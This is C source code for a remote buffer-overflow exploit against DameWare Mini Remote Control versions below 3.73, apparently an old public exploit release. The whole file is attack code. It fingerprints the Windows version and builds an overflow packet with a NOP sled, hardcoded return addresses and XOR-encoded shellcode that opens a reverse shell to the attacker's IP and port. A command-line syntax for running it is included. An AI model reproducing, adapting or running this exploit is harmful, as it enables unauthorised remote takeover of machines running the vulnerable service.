#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment (lib,"ws2_32")
/*
0x717564B8 jmp esp in comctl32.dll
win2k fr adv srv sp2
win2k en adv srv sp3
win2k en adv srv sp4
win2k en srv sp3
win2k fr pro sp3
win2k en pro sp4
*/
#define RET_XP_VAR0 "\x07\xD5\x36\x77"
#define RET_XP_VAR1 "\xC1\x1C\x35\x77" // these offsets has been reported
by many people
#define RET_XP_VAR2 "\xC1\x1C\x39\x77"
#define RET_WIN2k "\xB8\x64\x75\x71"
#define PORT 6129
#define SIZEOF 4096
#define WINUSER "h4x0r"
#define WINHOST "l33t_home"
#define USERPROFILE_NAME "script kiddie"
#define USERPROFILE_COMPANY "g33k solutions."
#define USERPROFILE_LICENSE "11111-OEM-0001111-11111"
#define USERPROFILE_DATE "12/24/03 00:00:00"
#define INTERFACE_IP "192.168.1.1,192.168.1.2"
#define WINDOMAIN "l33t_d0m41n"
#define CLIENT_VERSION "3.72.0.0"
int cnx(char *host)
{
int sock;
struct sockaddr_in yeah;
struct hostent *she;
sock=socket(AF_INET,SOCK_STREAM,0);
if(!sock) {
printf("error: unable to create socket\r\n");
return 0;
}
yeah.sin_family=AF_INET;
yeah.sin_addr.s_addr=inet_addr(host);
yeah.sin_port=htons(PORT);
if((she=gethostbyname(host))!=NULL) {
memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
} else {
if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
printf("error: cannot resolve host\r\n");
return 0;
}
}
printf("[+] Connecting to %-30s ...",host);
if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
printf("error: connection refused\r\n");
return 0;
}
printf("Done\r\n");
return sock;
}
void set_sc(int os, char *rhost, int rport, char *shellc0de)
{
unsigned int ip=0;
unsigned short port=0;
char *port_to_shell="",*ip1="";
ip = inet_addr(rhost); ip1 = (char*)&ip;
shellc0de[325]=ip1[0]^0x95;shellc0de[326]=ip1[1]^0x95;
shellc0de[327]=ip1[2]^0x95; shellc0de[328]=ip1[3]^0x95;
port = htons(rport);
port_to_shell = (char *) &port;
shellc0de[319]=port_to_shell[0]^0x95;
shellc0de[320]=port_to_shell[1]^0x95;
if(os==1) {
shellc0de[167]=shellc0de[215]=(unsigned char)0xfe;
shellc0de[345]=shellc0de[453]=(unsigned char)0xfe;
}
return;
}
int start_auth(int sock, char *rhost, int rport, int var)
{
int size,i=4,os;
char buffer[SIZEOF];
char shellc0de[] =
"\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef"
"\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xba\x01\x80\x33\x95"
"\x43\xe2\xfa\x7e\xfa\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e"
"\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad"
"\x8b\xe0\xdd\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d"
"\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96"
"\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3"
"\xae\xe1\xb1\x8d\xe1\x93\xde\xb6\x4e\xe0\x7f\x56\xca\xa6\x5c\xf3"
"\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e\x8d\x1e\x56\xae"
"\x54\xe0\x34\x56\x16\x79\xd5\x1e\x79\x14\x79\xb5\x97\x95\x95\xfd"
"\xec\xd0\xed\xd4\xff\x9f\xff\xde\xff\x95\x7d\xe3\x6a\x6a\x6a\xa6"
"\x5c\x52\xd0\x69\xe2\xe6\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8"
"\x97\x1e\x48\xf3\x16\x7e\x91\xc4\xc4\xc6\x6a\x45\x1c\xd0\x91\xfd"
"\xe7\xf0\xe6\xe6\xff\x9f\xff\xde\xff\x95\x7d\xd3\x6a\x6a\x6a\x1e"
"\xc8\x91\x1c\xc8\x12\x1c\xd0\x02\x52\xd0\x69\xc2\xc6\xd4\xc6\x52"
"\xd0\x95\xfa\xf6\xfe\xf0\x52\xd0\x91\xe1\xd4\x95\x95\x1e\x58\xf3"
"\x16\x7c\x91\xc4\xc6\x6a\x45\xa6\x4e\xc6\xc6\xc6\xc6\xff\x94\xff"
"\x97\x6a\x45\x1c\xd0\x31\x52\xd0\x69\xf6\xfa\xfb\xfb\x52\xd0\x95"
"\xf0\xf6\xe1\x95\x1e\x58\xf3\x16\x7c\x91\xc4\x6a\xe0\x12\x6a\xc0"
"\x02\xa6\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97\x97"
"\x0f\x96\x46\x52\x97\x55\x3d\x94\x94\xff\x85\xc0\x6a\xe0\x31\x6a"
"\x45\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xff\x95\x7d\x51\x6b\x6a"
"\x6a\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d"
"\x1c\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52"
"\xd0\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xd8\x31\x1c"
"\xd8\x71\x1c\xd8\x7d\x1c\xd8\x79\x18\xd8\x65\xc4\x18\xd8\x39\xc4"
"\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52\xd0"
"\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xfd\xed\xfc"
"\xe1\xc1\xff\x94\xff\xde\xff\x95\x7d\xcd\x6b\x6a\x6a\x6a";
size=recv(sock,buffer,SIZEOF,0);
if(buffer[0]!=0x30||buffer[1]!=0x11) {
printf("error: wrong data received\r\n");
return -1;
}
buffer[28]=0x00;buffer[36]=0x01;
send(sock,buffer,size,0);
memset(buffer,0,SIZEOF);
printf("[+] Gathering %-30s ...","information");
for(size=0;size<4096;size+=recv(sock,&buffer[size],SIZEOF,0));
if(buffer[0]!=0x10||buffer[1]!=0x27) {
printf("error: wrong data received\r\n");
return -1;
}
printf("Done\r\n");
printf("[i] Operating system : ");
if(buffer[16]==0x28||buffer[17]==0x0a) {
os=1;
printf("WinXP");
} else {
printf("Win2000");
os=0;
}
printf("\r\n[i] Service Pack : %s\r\n",!buffer[37]?"0":&buffer[37]);
printf("[+] Setting shellc0de for this %-15s ...","version");
set_sc(os,rhost,rport,shellc0de);
memset(&buffer[2],0,SIZEOF-2);
strcpy(&buffer[175],WINUSER);
memset(&buffer[416],0x90,180);
printf("Done\r\n");
if(os==0)
memcpy(&buffer[516],RET_WIN2k,4);
else {
if(var==0) {
printf("[!] Using 0x7736d507 as ret addr\r\n");
memcpy(&buffer[516],RET_XP_VAR0,4);
} else {
if(var==1) {
memcpy(&buffer[516],RET_XP_VAR1,4);
printf("[!] Using 0x77351cc1 as ret addr\r\n");
} else {
memcpy(&buffer[516],RET_XP_VAR2,4);
printf("[!] Using 0x77391cc1 as ret addr\r\n");
}
}
}
memcpy(&buffer[520],shellc0de,sizeof(shellc0de));
strcpy(&buffer[1200],WINHOST);strcpy(&buffer[975],USERPROFILE_NAME);
strcpy(&buffer[1295],USERPROFILE_COMPANY);strcpy(&buffer[1495],USERPROFILE_LICENSE);
strcpy(&buffer[1755],USERPROFILE_DATE);strcpy(&buffer[2015],WINHOST);
strcpy(&buffer[2275],INTERFACE_IP);strcpy(&buffer[2535],WINDOMAIN);
strcpy(&buffer[2795],CLIENT_VERSION);
printf("[+] Sending evil %-30s ...","packet");
send(sock,buffer,SIZEOF,0);
memset(buffer,0,SIZEOF);
size=recv(sock,buffer,SIZEOF,0);
if(buffer[0]!=0x32||buffer[1]!=0x11) {
printf("Patched\r\n");
return -1;
}
printf("Done\r\n");
printf("[i] Shell should be arrived at %s:%d\r\n",rhost,rport);
return 0;
}
void banner(void)
{
printf("\r\n [Crpt] DameWare Mini Remote Control < v3.73 remote exploit
by kralor [Crpt]\r\n");
printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}
void syntax(char *prog)
{
printf("syntax: %s <host> <your_ip> <your_port> [winXP variant]\r\n",prog);
printf("winXP variante:\r\n");
printf(" will use 0x7736d507 as eip [found on many
XPs][default]\r\n");
printf(" 1 will use 0x77351cc1 as eip [found on many
XPs]\r\n");
printf(" 2 will use 0x77391cc1 as eip [found on one XP
sp0]\r\n");
return;
}
int main(int argc, char *argv[])
{
WSADATA wsaData;
int sock,var=0;
banner();
if(argc<4||argc>5) {
syntax(argv[0]);
return -1;
}
if(argc==5) {
var=atoi(argv[4]);
if(var>2||var<0) {
syntax(argv[0]);
return -1;
}
}
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error: unable to load winsock\r\n");
return -1;
}
sock=cnx(argv[1]);
if(!sock)
return -1;
start_auth(sock,argv[2],atoi(argv[3]),var);
return 0;
}
